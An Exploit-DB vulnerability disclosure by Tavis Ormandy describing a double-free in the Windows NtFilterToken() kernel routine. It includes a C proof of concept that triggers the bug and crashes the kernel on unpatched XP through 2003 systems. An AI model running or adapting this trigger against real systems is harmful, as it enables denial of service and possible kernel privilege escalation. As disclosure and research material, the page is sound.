Microsoft Windows XP/Vista/2000/2003 – Double-Free Memory Corruption Privilege Escalation

  • 作者: Tavis Ormandy
    日期: 2010-02-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/33593/
  • // source: https://www.securityfocus.com/bid/38044/info
    
    // Microsoft Windows is prone to a local privilege-escalation vulnerability that occurs in the kernel.
    
    // An attacker can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts will cause a denial of service.
    
    // --------------------------------------------------------
    // Windows NtFilterToken() Double Free Vulnerability
    // ----------------------------- taviso@sdf.lonestar.org ------------
    //
    // INTRODUCTION
    //
    //NtFilterToken() will jump to a cleanup routine if it failed to capture
    //the arguments specified due to pathological TOKEN_GROUP parameter. This
    //cleanup routine assumes a pointer passed to SeCaptureSidAndAttributesArray()
    //will be NULL if it fails, and attempts to release it otherwise.
    //
    //Unfortunately there is a codepath where SeCaptureSidAndAttributesArray()
    //allocates a buffer, releases it on error, but then does not set it to
    //NULL. This causes NtFilterToken() to incorrectly free it again.
    //
    // IMPACT
    //
    //This is probably exploitable (at least on MP kernels) to get ring0 code
    //execution, but you would have to get the released buffer re-allocated
    //during a very small window and you only get one attempt (the kernel
    //will bugcheck if you dont win the race).
    //
    //Although technically this is a local privilege escalation, I don't think
    //it's possible to create a reliable exploit. Therefore, It's probably
    //safe to treat this as if it were a denial of service.
    //
    //Interestingly, Microsoft are big proponents of static analysis and this
    //seems like a model example of a statically discoverable bug. I would
    //guess they're dissapointed they missed this one, it would be fun to
    //know what went wrong.
    //
    //This vulnerability was reported to Microsoft in October, 2009.
    //
    // CREDIT
    //
    //This bug was discovered by Tavis Ormandy <taviso@sdf.lonestar.org>.
    //
    
    #include <windows.h>
    
    PVOID AllocBufferOnPageBoundary(ULONG Size);
    
    int main(int argc, char **argv)
    {
    SID *Sid;
    HANDLE NewToken;
    FARPROC NtFilterToken;
    PTOKEN_GROUPS Restricted;
    
    // Resolve the required routine.
    NtFilterToken = GetProcAddress(GetModuleHandle("NTDLL"), "NtFilterToken");
    
    // Allocate SID such that touching the following byte will AV.
    Sid = AllocBufferOnPageBoundary(sizeof(SID));
    Restricted= AllocBufferOnPageBoundary(sizeof(PTOKEN_GROUPS) + sizeof(SID_AND_ATTRIBUTES));
    
    // Setup SID, SubAuthorityCount is the important field.
    Sid->Revision = SID_REVISION;
    Sid->SubAuthority[0]= SECURITY_NULL_RID;
    Sid->SubAuthorityCount= 2;
    
    // Respect my authority.
    CopyMemory(Sid->IdentifierAuthority.Value, "taviso", sizeof Sid->IdentifierAuthority.Value);
    
    // Setup the TOKEN_GROUPS structure.
    Restricted->Groups[0].Attributes= SE_GROUP_MANDATORY;
    Restricted->Groups[0].Sid = Sid;
    Restricted->GroupCount= 1;
    
    // Trigger the vulnerabilty.
    NtFilterToken(INVALID_HANDLE_VALUE,
    0,
    NULL,
    NULL,
    Restricted,
    &NewToken);
    
    // Not reached
    return 0;
    }
    
    #ifndef PAGE_SIZE
    # define PAGE_SIZE 0x1000
    #endif
    
    // This is a quick routine to allocate a buffer on a page boundary. Simply
    // VirtualAlloc() two consecutive pages read/write, then use VirtualProtect()
    // to set the second page to PAGE_NOACCESS.
    //
    //sizeof(buffer)
    //|
    //<-+-> 
    //+----------------+----------------+
    //| PAGE_READWRITE | PAGE_NOACCESS|
    //+----------------+----------------+
    //^ ^
    //| |
    // buffer[0] -+ +- buffer[size]
    //
    // No error checking for simplicity, whatever :-)
    //
    PVOID AllocBufferOnPageBoundary(ULONG Size)
    {
    ULONG GuardBufSize;
    ULONG ProtBits;
    PBYTE GuardBuf;
    
    // Round size requested up to the next multiple of PAGE_SIZE
    GuardBufSize = (Size + (PAGE_SIZE - 1)) & ~(PAGE_SIZE - 1);
    
    // Add one page to be the guard page
    GuardBufSize = GuardBufSize + PAGE_SIZE;
    
    // Map this anonymous memory
    GuardBuf = VirtualAlloc(NULL,
    GuardBufSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE);
    
    // Make the final page NOACCESS
    VirtualProtect(GuardBuf + GuardBufSize - PAGE_SIZE,
     PAGE_SIZE,
     PAGE_NOACCESS,
     &ProtBits);
    
    // Calculate where pointer should be, so that touching Buffer[Size] AVs.
    return GuardBuf + GuardBufSize - PAGE_SIZE - Size;
    }